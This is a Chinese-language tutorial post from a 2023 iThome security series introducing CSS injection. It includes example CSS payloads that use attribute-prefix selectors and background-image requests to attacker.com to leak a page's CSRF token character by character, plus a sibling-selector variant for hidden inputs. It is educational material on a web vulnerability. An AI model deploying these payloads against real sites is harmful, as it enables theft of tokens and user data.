iT邦幫忙

2023 iThome 鐵人賽

DAY 9
0
Security

從自建漏洞中學習 - 一起填坑吧系列 第 9

CSS 相關的攻擊 (下篇之 1)

  • 分享至 

  • xImage
  •  

CSS 相關的攻擊 (下篇之 1)

CSS Injection 介紹

有關 CSS Injection 的攻擊方式有很多,所以我們分為 1、2 兩篇來簡單介紹 ~
讓我們開始吧 XD

CSS Injection 簡介

根據 OWASP 對於 CSS Injection 的簡單介紹如下:

A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site which is rendered inside a victim’s browser. The impact of this type of vulnerability varies based on the supplied CSS payload. It may lead to cross site scripting or data exfiltration.

CSS Injection (CSS 注入漏洞) 簡單來說,就是涉及在受信任網站的上下文中注入任意 CSS 程式碼

CSS Injection 可能會使用的攻擊方式 - 1

使用 CSS selector 和能夠產生 HTTP request 的 function 來提取敏感資料 (例如: CSRF token)

首先,先介紹一下常用的 css selector:

  • 元素中,符合 attribute 叫 value 的元素

    tagname[attribute=value]
    
  • 元素中,其中 "^" 代表前綴,代表找出 attribute 開頭 = value 的元素

    tagname[attribute^=value]
    
  • 元素中,其中 "$" 代表後綴,代表找出 attribute 結尾 = value 的元素

    tagname[attribute$=value]
    
  • 元素中,其中 "*" 代表包含內容,代表找出 attribute 內容包含 value 的元素

    tagname[attribute*=value]
    

接著我們來看看主要的範例~

範例 1:

input[name=csrf][value^=a]{
  background-image: url(https://attacker.com?q=a);
}
input[name=csrf][value^=b]{
  background-image: url(https://attacker.com?q=b);
}
/* c, d, e, f... */
input[name=csrf][value^=9]{
   background-image: url(https://attacker.com?q=9);   
}

透過不斷地嘗試將文字與 CSS 進行匹配,並在文字存在的情況下加載一些外部資源 -> 藉此我們可以猜測有哪些資料是存在在目標的頁面中

Notes:
值得注意的是,如果上述的 csrf name type 是隱藏類型 (通常為之),則此技術將不起作用,因為不會載入背景。

那麼如果是如此,我們應該如何繞過呢?

我們可以不要讓隱藏元素載入背景,而在載入背景後選取其他元素進行任何操作,以下為範例:

範例 2:

input[name=csrf][value^=csrF] + input {
  background-image: url(https://attacker.com?q=csrF);
}

解說:

在上述的範例中,我們選取了 name 為 csrf 且 value 的開頭為 csrf 的 input 元素,
但由於 select 到的 input 是 hidden 隱藏的,所以在此處我使用了 "+" 語法,來選取該 input 後面的 input

如果依照下面的範例,就是會選取到 userID

<input name='csrf' value='csrFfff' type='hidden'>
<input name='userID'>

然而,上述範例 1 的寫法存在先決條件,我們可能會需要確認是否符合以下其中之一的條件:

  1. CSS injection 需要允許足夠長的有效 payload - 因為要獲取的資源很多
  2. 能夠對易受 CSS injection 攻擊的頁面進行 iframe
  3. 能夠使用外部 hosted 的 image(可能會被 CSP 阻止,例如: 基於 CSP 擋下非同源的 url 之類的)

對於這樣的攻擊方式,我們可以再加上其他方法,來讓整體的攻擊更有效率。
我會在下一篇文章繼續介紹 ~


今日小心得

這幾天經歷過很多事情,但我的鐵人賽文章還是繼續產出中 XD

不得不說,感覺 css injection 需要參考的文章好多,感覺上又可以分好多篇來寫...
不知道我什麼時候才可以再加入自建漏洞的實作 (汗顏

希望我的未來能夠更加順利,學習資訊安全的道路上也能夠越走越順利 ~ 繼續加油 !


Reference


上一篇
CSS 相關的攻擊 (中篇) - clickjacking 的其他形式
下一篇
CSS 相關的攻擊 (下篇之 2)
系列文
從自建漏洞中學習 - 一起填坑吧30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言